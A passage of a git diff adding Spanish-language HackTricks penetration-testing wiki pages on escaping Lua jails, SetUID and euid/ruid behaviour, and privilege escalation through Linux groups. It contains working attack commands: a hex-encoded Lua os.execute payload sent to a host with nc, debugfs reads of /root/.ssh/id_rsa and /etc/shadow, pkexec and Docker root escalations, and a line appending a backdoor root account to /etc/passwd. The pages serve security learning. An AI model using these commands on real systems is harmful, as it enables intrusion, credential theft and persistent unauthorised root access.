[**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\
|
||||
[https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\
|
||||
[https://gtfobins.github.io](https://gtfobins.github.io/)\
|
||||
**También puede ser interesante la página:**
|
||||
|
||||
{% content-ref url="../useful-linux-commands/bypass-bash-restrictions.md" %}
|
||||
[bypass-bash-restrictions.md](../useful-linux-commands/bypass-bash-restrictions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Jaulas de Python
|
||||
|
||||
Trucos para escapar de las jaulas de Python en la siguiente página:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Jaulas de Lua
|
||||
|
||||
En esta página puedes encontrar las funciones globales a las que tienes acceso dentro de Lua: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base)
|
||||
|
||||
**Eval con ejecución de comandos:**
|
||||
```bash
|
||||
load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()
|
||||
```
|
||||
Algunos trucos para **llamar funciones de una librería sin usar puntos**:
|
||||
```bash
|
||||
print(string.char(0x41, 0x42))
|
||||
print(rawget(string, "char")(0x41, 0x42))
|
||||
```
|
||||
# Enumerar funciones de una biblioteca:
|
||||
|
||||
Para enumerar las funciones de una biblioteca, podemos utilizar el comando `nm`. Este comando muestra los símbolos (incluyendo las funciones) de un archivo objeto o de una biblioteca compartida.
|
||||
|
||||
Para mostrar solo las funciones de una biblioteca, podemos utilizar el siguiente comando:
|
||||
|
||||
```bash
|
||||
nm -gC /ruta/a/biblioteca.so | grep ' T '
|
||||
```
|
||||
|
||||
Este comando mostrará solo las funciones de la biblioteca, una por línea. El parámetro `-g` indica que se deben mostrar los símbolos globales, `-C` indica que se deben mostrar los nombres de las funciones en formato legible para el usuario y `grep ' T '` filtra solo las funciones (los símbolos que comienzan con `T` indican funciones).
|
||||
|
||||
También podemos utilizar el comando `objdump` para mostrar las funciones de una biblioteca:
|
||||
|
||||
```bash
|
||||
objdump -T /ruta/a/biblioteca.so | grep 'FUNC'
|
||||
```
|
||||
|
||||
Este comando mostrará todas las funciones de la biblioteca, una por línea. El parámetro `-T` indica que se deben mostrar las tablas de símbolos y `grep 'FUNC'` filtra solo las funciones.
|
||||
```bash
|
||||
for k,v in pairs(string) do print(k,v) end
|
||||
```
|
||||
Tenga en cuenta que cada vez que ejecute el comando anterior en un **entorno lua diferente, el orden de las funciones cambia**. Por lo tanto, si necesita ejecutar una función específica, puede realizar un ataque de fuerza bruta cargando diferentes entornos lua y llamando a la primera función de la biblioteca "le":
|
||||
```bash
|
||||
#In this scenario you could BF the victim that is generating a new lua environment
|
||||
#for every interaction with the following line and when you are lucky
|
||||
#the char function is going to be executed
|
||||
for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end
|
||||
|
||||
#This attack from a CTF can be used to try to chain the function execute from "os" library
|
||||
#and "char" from string library, and the use both to execute a command
|
||||
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
|
||||
```
|
||||
**Obtener una shell interactiva de Lua**: Si estás dentro de una shell limitada de Lua, puedes obtener una nueva shell de Lua (y con suerte ilimitada) llamando a:
|
||||
```bash
|
||||
debug.debug()
|
||||
```
|
||||
## Referencias
|
||||
|
||||
* [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Diapositivas: [https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf))
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
178
linux-hardening/privilege-escalation/euid-ruid-suid.md
Normal file
178
linux-hardening/privilege-escalation/euid-ruid-suid.md
Normal file
|
@ -0,0 +1,178 @@
|
|||
# euid, ruid, suid
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
**Este post fue copiado de** [**https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail**](https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail)
|
||||
|
||||
## **`*uid`**
|
||||
|
||||
* **`ruid`**: Este es el **ID de usuario real** del usuario que inició el proceso.
|
||||
* **`euid`**: Este es el **ID de usuario efectivo**, es lo que el sistema mira cuando decide **qué privilegios debe tener el proceso**. En la mayoría de los casos, el `euid` será el mismo que el `ruid`, pero un binario SetUID es un ejemplo de un caso en el que difieren. Cuando se inicia un binario SetUID, el **`euid` se establece en el propietario del archivo**, lo que permite que estos binarios funcionen.
|
||||
* `suid`: Este es el **ID de usuario guardado**, se utiliza cuando un proceso privilegiado (en la mayoría de los casos que se ejecuta como root) necesita **abandonar los privilegios** para realizar algún comportamiento, pero luego necesita **volver** al estado privilegiado.
|
||||
|
||||
{% hint style="info" %}
|
||||
Si un **proceso que no es root** quiere **cambiar su `euid`**, solo puede **establecerlo** en los valores actuales de **`ruid`**, **`euid`** o **`suid`**.
|
||||
{% endhint %}
|
||||
|
||||
## set\*uid
|
||||
|
||||
A primera vista, es fácil pensar que las llamadas al sistema **`setuid`** establecerían el `ruid`. De hecho, cuando se trata de un proceso privilegiado, lo hace. Pero en el caso general, en realidad **establece el `euid`**. Según la [página del manual](https://man7.org/linux/man-pages/man2/setuid.2.html):
|
||||
|
||||
> setuid() **establece el ID de usuario efectivo del proceso que llama**. Si el proceso que llama tiene privilegios (más precisamente: si el proceso tiene la capacidad CAP\_SETUID en su espacio de nombres de usuario), también se establecen el UID real y el ID de usuario guardado.
|
||||
|
||||
Por lo tanto, en el caso en el que se está ejecutando `setuid(0)` como root, esto establece todos los IDs en root y básicamente los bloquea (porque `suid` es 0, pierde el conocimiento o cualquier usuario anterior - por supuesto, los procesos root pueden cambiar a cualquier usuario que deseen).
|
||||
|
||||
Dos llamadas al sistema menos comunes, **`setreuid`** (`re` para real y efectivo) y **`setresuid`** (`res` incluye guardado) establecen los IDs específicos. Estar en un proceso no privilegiado limita estas llamadas (de la [página del manual](https://man7.org/linux/man-pages/man2/setresuid.2.html) para `setresuid`, aunque la [página](https://man7.org/linux/man-pages/man2/setreuid.2.html) para `setreuid` tiene un lenguaje similar):
|
||||
|
||||
> Un proceso no privilegiado puede cambiar su **UID real, UID efectivo e ID de usuario guardado**, cada uno a uno de: el UID real actual, el UID efectivo actual o el ID de usuario guardado actual.
|
||||
>
|
||||
> Un proceso privilegiado (en Linux, uno que tiene la capacidad CAP\_SETUID) puede establecer su UID real, UID efectivo e ID de usuario guardado en valores arbitrarios.
|
||||
|
||||
Es importante recordar que estos no están aquí como una característica de seguridad, sino que reflejan el flujo de trabajo previsto. Cuando un programa quiere cambiar a otro usuario, cambia el ID de usuario efectivo para que pueda actuar como ese usuario.
|
||||
|
||||
Como atacante, es fácil adquirir el mal hábito de simplemente llamar a `setuid` porque el caso más común es ir a root, y en ese caso, `setuid` es efectivamente lo mismo que `setresuid`.
|
||||
|
||||
## Ejecución
|
||||
|
||||
### **execve (y otros execs)**
|
||||
|
||||
La llamada al sistema `execve` ejecuta un programa especificado en el primer argumento. El segundo y tercer argumento son matrices, los argumentos (`argv`) y el entorno (`envp`). Hay varios otros llamados al sistema que se basan en `execve`, denominados `exec` ([página del manual](https://man7.org/linux/man-pages/man3/exec.3.html)). Cada uno es solo un envoltorio sobre `execve` para proporcionar diferentes abreviaturas para llamar a `execve`.
|
||||
|
||||
Hay muchos detalles en la [página del manual](https://man7.org/linux/man-pages/man2/execve.2.html), sobre cómo funciona. En resumen, cuando **`execve` inicia un programa**, utiliza el **mismo espacio de memoria que el programa que llama**, reemplazando ese programa
|
||||
```c
|
||||
#define _GNU_SOURCE
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(void) {
|
||||
setuid(1000);
|
||||
system("id");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Este programa está compilado y configurado como SetUID en Jail sobre NFS:
|
||||
```bash
|
||||
oxdf@hacky$ gcc a.c -o /mnt/nfsshare/a;
|
||||
...[snip]...
|
||||
oxdf@hacky$ chmod 4755 /mnt/nfsshare/a
|
||||
```
|
||||
Como root, puedo ver este archivo:
|
||||
```
|
||||
[root@localhost nfsshare]# ls -l a
|
||||
-rwsr-xr-x. 1 frank frank 16736 May 30 04:58 a
|
||||
```
|
||||
Cuando ejecuto esto como nobody, `id` se ejecuta como nobody:
|
||||
```bash
|
||||
bash-4.2$ $ ./a
|
||||
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
|
||||
```
|
||||
El programa comienza con un `ruid` de 99 (nadie) y un `euid` de 1000 (frank). Cuando llega a la llamada `setuid`, se establecen esos mismos valores.
|
||||
|
||||
Luego se llama a `system`, y esperaría ver un `uid` de 99, pero también un `euid` de 1000. ¿Por qué no hay uno? El problema es que **`sh` está vinculado simbólicamente a `bash`** en esta distribución:
|
||||
```
|
||||
$ ls -l /bin/sh
|
||||
lrwxrwxrwx. 1 root root 4 Jun 25 2017 /bin/sh -> bash
|
||||
```
|
||||
Entonces, `system` llama a `/bin/sh sh -c id`, que es efectivamente `/bin/bash bash -c id`. Cuando se llama a `bash`, sin `-p`, entonces ve `ruid` de 99 y `euid` de 1000, y establece `euid` en 99.
|
||||
|
||||
### setreuid / system <a href="#setreuid--system" id="setreuid--system"></a>
|
||||
|
||||
Para probar esa teoría, intentaré reemplazar `setuid` con `setreuid`:
|
||||
```c
|
||||
#define _GNU_SOURCE
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(void) {
|
||||
setreuid(1000, 1000);
|
||||
system("id");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Compilación y permisos:
|
||||
```
|
||||
oxdf@hacky$ gcc b.c -o /mnt/nfsshare/b; chmod 4755 /mnt/nfsshare/b
|
||||
```
|
||||
Ahora en la cárcel, ahora `id` devuelve el uid de 1000:
|
||||
```
|
||||
bash-4.2$ $ ./b
|
||||
uid=1000(frank) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
|
||||
```
|
||||
La llamada `setreuid` establece tanto `ruid` como `euid` en 1000, por lo que cuando `system` llama a `bash`, coinciden y las cosas continúan como frank.
|
||||
|
||||
### setuid / execve <a href="#setuid--execve" id="setuid--execve"></a>
|
||||
|
||||
Llamando a `execve`, si mi comprensión anterior es correcta, también podría no preocuparme por manipular los uids y, en su lugar, llamar a `execve`, ya que llevará a cabo los IDs existentes. Eso funcionará, pero hay trampas. Por ejemplo, el código común podría verse así:
|
||||
```c
|
||||
#define _GNU_SOURCE
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(void) {
|
||||
setuid(1000);
|
||||
execve("/usr/bin/id", NULL, NULL);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Sin el entorno (estoy pasando NULL para simplificar), necesitaré una ruta completa en `id`. Esto funciona, devolviendo lo que espero:
|
||||
```
|
||||
bash-4.2$ $ ./c
|
||||
uid=99(nobody) gid=99(nobody) euid=1000(frank) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
|
||||
```
|
||||
El `[r]uid` es 99, pero el `euid` es 1000.
|
||||
|
||||
Si intento obtener una shell a partir de esto, debo tener cuidado. Por ejemplo, simplemente llamando a `bash`:
|
||||
```c
|
||||
#define _GNU_SOURCE
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(void) {
|
||||
setuid(1000);
|
||||
execve("/bin/bash", NULL, NULL);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Voy a compilar eso y establecerlo como SetUID:
|
||||
```
|
||||
oxdf@hacky$ gcc d.c -o /mnt/nfsshare/d
|
||||
oxdf@hacky$ chmod 4755 /mnt/nfsshare/d
|
||||
```
|
||||
Aún así, esto devolverá todo nobody:
|
||||
```
|
||||
bash-4.2$ $ ./d
|
||||
bash-4.2$ $ id
|
||||
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
|
||||
```
|
||||
Si fuera `setuid(0)`, entonces funcionaría bien (suponiendo que el proceso tuviera permiso para hacerlo), ya que entonces cambia los tres ids a 0. Pero como usuario no root, esto solo establece el `euid` en 1000 (que ya estaba), y luego llama a `sh`. Pero `sh` es `bash` en Jail. Y cuando `bash` se inicia con `ruid` de 99 y `euid` de 1000, volverá a dejar caer el `euid` a 99.
|
||||
|
||||
Para solucionar esto, llamaré a `bash -p`:
|
||||
```c
|
||||
#define _GNU_SOURCE
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(void) {
|
||||
char *const paramList[10] = {"/bin/bash", "-p", NULL};
|
||||
setuid(1000);
|
||||
execve(paramList[0], paramList, NULL);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Esta vez el `euid` está presente:
|
||||
```
|
||||
bash-4.2$ $ ./e
|
||||
bash-4.2$ $ id
|
||||
uid=99(nobody) gid=99(nobody) euid=1000(frank) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
|
||||
```
|
||||
O también podría llamar a `setreuid` o `setresuid` en lugar de `setuid`.
|
|
@ -0,0 +1,193 @@
|
|||
# Grupos Interesantes - Linux Privesc
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Grupos Sudo/Admin
|
||||
|
||||
### **PE - Método 1**
|
||||
|
||||
**A veces**, **por defecto (o porque algún software lo necesita)** dentro del archivo **/etc/sudoers** puedes encontrar algunas de estas líneas:
|
||||
```bash
|
||||
# Allow members of group sudo to execute any command
|
||||
%sudo ALL=(ALL:ALL) ALL
|
||||
|
||||
# Allow members of group admin to execute any command
|
||||
%admin ALL=(ALL:ALL) ALL
|
||||
```
|
||||
Esto significa que **cualquier usuario que pertenezca al grupo sudo o admin puede ejecutar cualquier cosa como sudo**.
|
||||
|
||||
Si este es el caso, para **convertirse en root solo es necesario ejecutar**:
|
||||
```
|
||||
sudo su
|
||||
```
|
||||
### PE - Método 2
|
||||
|
||||
Encuentra todos los binarios suid y verifica si está el binario **Pkexec**:
|
||||
```bash
|
||||
find / -perm -4000 2>/dev/null
|
||||
```
|
||||
Si encuentras que el binario **pkexec es un binario SUID** y perteneces a los grupos **sudo** o **admin**, probablemente puedas ejecutar binarios como sudo usando `pkexec`. Esto se debe a que típicamente esos son los grupos dentro de la **política de polkit**. Esta política básicamente identifica qué grupos pueden usar `pkexec`. Verifícalo con:
|
||||
```bash
|
||||
cat /etc/polkit-1/localauthority.conf.d/*
|
||||
```
|
||||
Allí encontrarás qué grupos tienen permiso para ejecutar **pkexec** y **por defecto** en algunas distribuciones de Linux aparecen los grupos **sudo** y **admin**.
|
||||
|
||||
Para **convertirse en root se puede ejecutar**:
|
||||
```bash
|
||||
pkexec "/bin/sh" #You will be prompted for your user password
|
||||
```
|
||||
Si intentas ejecutar **pkexec** y obtienes este **error**:
|
||||
```bash
|
||||
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
|
||||
==== AUTHENTICATION FAILED ===
|
||||
Error executing command as another user: Not authorized
|
||||
```
|
||||
**No es porque no tengas permisos, sino porque no estás conectado sin una GUI**. Y hay una solución para este problema aquí: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Necesitas **2 sesiones ssh diferentes**:
|
||||
|
||||
{% code title="sesión1" %}
|
||||
```bash
|
||||
echo $$ #Step1: Get current PID
|
||||
pkexec "/bin/bash" #Step 3, execute pkexec
|
||||
#Step 5, if correctly authenticate, you will have a root session
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% code title="sesión2" %}
|
||||
```bash
|
||||
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
|
||||
#Step 4, you will be asked in this session to authenticate to pkexec
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## Grupo Wheel
|
||||
|
||||
**A veces**, **por defecto** dentro del archivo **/etc/sudoers**, se puede encontrar esta línea:
|
||||
```
|
||||
%wheel ALL=(ALL:ALL) ALL
|
||||
```
|
||||
Esto significa que **cualquier usuario que pertenezca al grupo wheel puede ejecutar cualquier cosa como sudo**.
|
||||
|
||||
Si este es el caso, para **convertirse en root solo hay que ejecutar**:
|
||||
```
|
||||
sudo su
|
||||
```
|
||||
## Grupo Shadow
|
||||
|
||||
Los usuarios del **grupo shadow** pueden **leer** el archivo **/etc/shadow**:
|
||||
```
|
||||
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
|
||||
```
|
||||
## Grupo de Disco
|
||||
|
||||
Este privilegio es casi **equivalente al acceso de root** ya que se puede acceder a todos los datos dentro de la máquina.
|
||||
|
||||
Archivos: `/dev/sd[a-z][1-9]`
|
||||
```bash
|
||||
df -h #Find where "/" is mounted
|
||||
debugfs /dev/sda1
|
||||
debugfs: cd /root
|
||||
debugfs: ls
|
||||
debugfs: cat /root/.ssh/id_rsa
|
||||
debugfs: cat /etc/shadow
|
||||
```
|
||||
Tenga en cuenta que utilizando debugfs también puede **escribir archivos**. Por ejemplo, para copiar `/tmp/asd1.txt` a `/tmp/asd2.txt`, puede hacer lo siguiente:
|
||||
```bash
|
||||
debugfs -w /dev/sda1
|
||||
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
|
||||
```
|
||||
Sin embargo, si intentas **escribir archivos propiedad de root** (como `/etc/shadow` o `/etc/passwd`) obtendrás un error de "**Permiso denegado**".
|
||||
|
||||
## Grupo de Video
|
||||
|
||||
Usando el comando `w` puedes encontrar **quién está conectado al sistema** y mostrará una salida como la siguiente:
|
||||
```bash
|
||||
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
|
||||
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
|
||||
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
|
||||
```
|
||||
El **tty1** significa que el usuario **yossi está conectado físicamente** a un terminal en la máquina.
|
||||
|
||||
El grupo **video** tiene acceso para ver la salida de pantalla. Básicamente, se puede observar la pantalla. Para hacerlo, es necesario **capturar la imagen actual de la pantalla** en datos brutos y obtener la resolución que está utilizando la pantalla. Los datos de la pantalla se pueden guardar en `/dev/fb0` y se puede encontrar la resolución de esta pantalla en `/sys/class/graphics/fb0/virtual_size`.
|
||||
```bash
|
||||
cat /dev/fb0 > /tmp/screen.raw
|
||||
cat /sys/class/graphics/fb0/virtual_size
|
||||
```
|
||||
Para **abrir** la **imagen cruda**, puedes usar **GIMP**, selecciona el archivo \*\*`screen.raw` \*\* y selecciona como tipo de archivo **Datos de imagen cruda**:
|
||||
|
||||
![](<../../../.gitbook/assets/image (287) (1).png>)
|
||||
|
||||
Luego modifica el Ancho y Alto a los que se usaron en la pantalla y verifica diferentes Tipos de Imagen (y selecciona el que muestre mejor la pantalla):
|
||||
|
||||
![](<../../../.gitbook/assets/image (288).png>)
|
||||
|
||||
## Grupo Root
|
||||
|
||||
Parece que por defecto, **los miembros del grupo root** podrían tener acceso para **modificar** algunos archivos de configuración de **servicios** o algunos archivos de **bibliotecas** u **otras cosas interesantes** que podrían ser utilizadas para escalar privilegios...
|
||||
|
||||
**Verifica qué archivos pueden modificar los miembros de root**:
|
||||
```bash
|
||||
find / -group root -perm -g=w 2>/dev/null
|
||||
```
|
||||
## Grupo Docker
|
||||
|
||||
Puedes **montar el sistema de archivos raíz de la máquina anfitriona en el volumen de una instancia**, por lo que cuando la instancia se inicia, carga inmediatamente un `chroot` en ese volumen. Esto te da efectivamente acceso root en la máquina.
|
||||
```bash
|
||||
docker image #Get images from the docker service
|
||||
|
||||
#Get a shell inside a docker container with access as root to the filesystem
|
||||
docker run -it --rm -v /:/mnt <imagename> chroot /mnt bash
|
||||
#If you want full access from the host, create a backdoor in the passwd file
|
||||
echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/passwd
|
||||
|
||||
#Ifyou just want filesystem and network access you can startthe following container:
|
||||
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
|
||||
```
|
||||
Finalmente, si no te gustan ninguna de las sugerencias anteriores o no funcionan por alguna razón (¿firewall de la API de Docker?), siempre puedes intentar **ejecutar un contenedor privilegiado y escapar de él** como se explica aquí:
|
||||
|
||||
{% content-ref url="../docker-security/" %}
|
||||
[seguridad de Docker](../docker-security/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Si tienes permisos de escritura sobre el socket de Docker, lee [**esta publicación sobre cómo escalar privilegios abusando del socket de Docker**](../#writable-docker-socket)**.**
|
||||
|
||||
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
|
||||
|
||||
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
|
||||
|
||||
## Grupo lxc/lxd
|
||||
|
||||
{% content-ref url="./" %}
|
||||
[.](./)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Grupo Adm
|
||||
|
||||
Por lo general, los **miembros** del grupo **`adm`** tienen permisos para **leer archivos de registro** ubicados dentro de _/var/log/_.\
|
||||
Por lo tanto, si has comprometido a un usuario dentro de este grupo, definitivamente deberías **echar un vistazo a los registros**.
|
||||
|
||||
## Grupo Auth
|
||||
|
||||
Dentro de OpenBSD, el grupo **auth** generalmente puede escribir en las carpetas _**/etc/skey**_ y _**/var/db/yubikey**_ si se usan.\
|
||||
Estos permisos pueden ser abusados con el siguiente exploit para **escalar privilegios** a root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,138 @@
|
|||
# Grupo lxd/lxc - Escalada de privilegios
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
